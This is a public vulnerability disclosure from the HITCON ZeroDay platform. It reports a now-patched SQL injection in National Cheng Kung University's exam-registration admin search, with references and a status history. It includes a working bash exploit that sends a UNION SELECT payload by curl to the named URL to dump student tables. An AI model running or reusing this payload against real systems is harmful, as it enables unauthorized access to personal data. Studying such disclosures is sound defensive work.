國立成功大學考試報名系統管理介面 SQL injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-01593
  •  發信 Vendor: 國立成功大學
  • Title: 國立成功大學考試報名系統管理介面 SQL injection
  • Introduction: 可以透過管理介面的報名資料查詢與尚未報名之名單的搜尋功能達成 SQL injection

處理狀態

目前狀態

公開
Last Update : 2025/01/24
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2024/12/26 05:51:48 : 新提交 (由 Chumy 更新此狀態)
  • 2024/12/30 21:41:16 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/03 12:27:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/03 12:27:25 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/03 12:44:55 : 修補中 (由 組織帳號 更新此狀態)
  • 2025/01/08 17:12:04 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2025/01/21 00:09:38 : 確認已修補 (由 Chumy 更新此狀態)
  • 2025/01/24 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-01593
  • 通報者:jimmy0124 (Chumy)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://eagle.english.ncku.edu.tw/eagle/index.php?c=manage_register&m=index

https://eagle.english.ncku.edu.tw/eagle/index.php?c=manage_register&m=payment

敘述

可以透過搜尋欄位

圖片

直接達成 SQL injection 甚至可以看到他的 SQL 指令

圖片

可利用以下 exploit dump 出 table 的內容

圖片

cols/stu_emi.txt:

1: stu_no -- type 256 -- collength 9 -- tabid 2857

2: emi_credit -- type 5 -- collength 1538 -- tabid 2857

3: gra_total -- type 5 -- collength 1794 -- tabid 2857

4: emi_percent -- type 5 -- collength 1538 -- tabid 2857

5: emi_level -- type 0 -- collength 2 -- tabid 2857

6: emi_level_credit -- type 0 -- collength 2 -- tabid 2857

7: emi_level_percent -- type 0 -- collength 2 -- tabid 2857

exploit:

#!/bin/bash

if [ $# -lt 2 ]
then
    echo "$0 <session> <tables> <where>"                                                                                                                                                                             exit 1
fi

cols="'- ' || $(for a in $(cat cols/$2.txt | awk '{print $2}'); do echo "'$a: \"' || $a"; done | tr '\n' '#' | sed "s/#/ || '\"{NEXTLINE}  ' || /g" | sed 's/||\s\+$//g')"

result="$(curl -s -X POST -H "Cookie: PHPSESSID=$1" 'https://eagle.english.ncku.edu.tw/eagle/index.php?c=manage_register&m=index' -d "stu_no=$(urlencode "' UNION Select '1','2','3','4','5',6,'7','8',9,'10','11','12','13',14,$cols,'1','2',3,'4' from $2 $3 --")&stu_name=&query=%E6%9F%A5%E8%A9%A2")"

echo "$result" | grep -oP '(?<=的報名資訊嗎\?'"'"'\)">).*(?=</a>)' | sed 's/\s\+$//g' | sed 's/{NEXTLINE}/\n/g'

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;